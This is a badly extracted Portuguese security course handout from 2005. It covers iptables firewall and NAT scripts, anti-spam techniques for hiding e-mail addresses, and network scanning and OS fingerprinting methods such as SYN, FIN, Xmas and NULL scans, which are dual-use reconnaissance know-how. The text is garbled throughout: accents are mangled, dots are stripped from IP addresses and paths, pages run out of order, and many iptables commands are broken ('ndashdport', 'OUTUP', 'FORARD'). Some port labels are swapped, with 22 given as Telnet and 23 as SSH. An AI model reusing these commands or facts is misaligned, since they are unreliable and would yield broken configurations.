atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 25: Curso de segurança em linux e redes em geral

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute 